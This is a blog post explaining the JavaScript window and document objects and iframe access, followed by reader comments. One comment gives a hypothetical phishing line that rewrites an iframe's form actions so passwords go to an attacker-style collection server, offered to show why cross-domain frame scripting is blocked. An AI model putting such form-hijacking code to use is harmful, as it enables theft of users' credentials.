What is the difference between document and window objects?

JQuery

What is the difference between document and window objects?

TAGs: document object iframe Javascript window object 14 Comment

Posted By: eligeske on January 4, 2011 in JQuery

There seems to be a lot of misconceptions on the difference between the document and window objects for javascript.

WINDOW object and DOCUMENT object ARE NOT THE SAME!!!!!

I have set out to clarify this for you in the most visual manor as possible.

So, what is the difference between the document object and window object you ask? Good question.

Javascript Window Object with Document Loaded

Well, the window is the first thing that gets loaded into the browser. This window object has the majority of the properties like length, innerWidth, innerHeight, name, if it has been closed, its parents, and more.

What about the document object then?

The document object is your html, aspx, php, or other document that will be loaded into the browser. The document actually gets loaded inside the window object and has properties available to it like title, URL, cookie, etc. What does this really mean? That means if you want to access a property for the window it is window.property, if it is document it is window.document.property which is also available in short as document.property.

That seems simple enough. But what happens once an IFRAME is introduced? Uh oh… frameage.

An iframe actually is considered as a new window with its own document loaded into it. Here is where it may seem a little odd, but does make sense if you think about it. The original, parent window, is responsible for other windows to be loaded, not the document.

Javascript Window Object with Iframe

The property to access a frame is window.frames[], which is an array of all the frames. If you only have one iframe you access it by using window.frames[0]. Since the iframe is also a window object, accessing window properties of that frame is done by using window.frames[0].mywindowproperty.

Here is a link to the list of properties:

Window object properties.

Document object properties

This was just a quick clarification on how the window and document objects are used. When there is an understanding of it then programming becomes a little easier.

Thanks for reading!

14 Responses to "What is the difference between document and window objects?"

"SHARING IS CARING"

February 16, 2011

James Strong says:

Hey man, would you happen to be the eli geske that was working on gametube.tv ages ago?
It’s Xdax.
April 26, 2011

Serdar Akkilic says:

That helped me alot! i was trying to reach the iframes loaded. Thank you
May 29, 2011

Ishrat says:

Thanks you very much eligeske. This article is quite useful. Again thanks
August 30, 2011

Simon Ferragne says:

Little note about the iframe that can save you lot of time. To access the interior of an iframe context / dom / javascript you need to use the contentWindow property.
Example to call some javascript inside and iframe you can simply do: $(‘#myframe’)[0].contentWindow.$(‘someSelector’).someAction();
Or without jQuery document.getElementById(‘myframe’).contentWindow.alert(‘I am an alert in the iframe’); —————————— On the other side if you are trying to run some javascript in the main window FROM the iframe, you can simply do : parent.$(‘somemainWindowElement’).someAction(); **** ****** Please not that cross domain (from 1 domain to the other) frame scripting will not work in regular setup. REason is obvious: it would create a security hole and an easy way to hack with fishing techniques. Imagine the simple dummy hack scenario
// Set all the form to post their password to my server. $(‘#fishnet’)[0].contentWindow.$(‘form’).each(function(){this.setAttributes(‘action’,'http://myserverthatcollectspassword.com/collect’);})
Ps. Dont try this, it will not work.
November 28, 2011

PrAVEEN says:

I LIKE EXPLANATION ON THE WINDOW AND DOCUMENT OBJECT IN ELEGANT WAY BY TAKING THE EXAMPLE
December 16, 2011

Sanjeev says:

Excellent explanation. Kudos. Helped a lot.
January 18, 2012

venky says:

Thank you ,…… It helped me in understanding the difference between Window and document objects……
March 17, 2012

Vasudev Adepu says:

this is very good example thank you very much
April 13, 2012

jyothi says:

Helped a lot. Thaks
June 16, 2012

Rakshitha says:

Thank you so much for the information. Got a question in interview but cud not answer there.. now i am clear about the topic.
August 2, 2012

Ashwini says:

Hi,
This makes me to clear my concept about document & window.
Thank you very much.
February 25, 2013

Rajeshwari says:

Superb… Thanks.
March 12, 2013

Nishant says:

Excellent explanation. Thanks a lot.
One more thing I would like to ask you is, can we get iframe object inside from iFrame. It is as good as accessing parent property from child. I know it is bit weird, but just wanted to know whether this is possible?
March 12, 2013

eligeske says:

Hi Nishant,
If I understand you correctly, you would like to access the iframe’s window or document object from inside itself. For example if you loaded a url into the iframe that had some script in it.
The iframe acts as if it were a stand alone window and can access itself’s properties as such.
If you mean that you would like to get the iframe object from the iframe itself, you can try this little example from inside the iframe:$(function(){ $(window.parent.frames[0].document).find('body').html('hello'); });

JQuery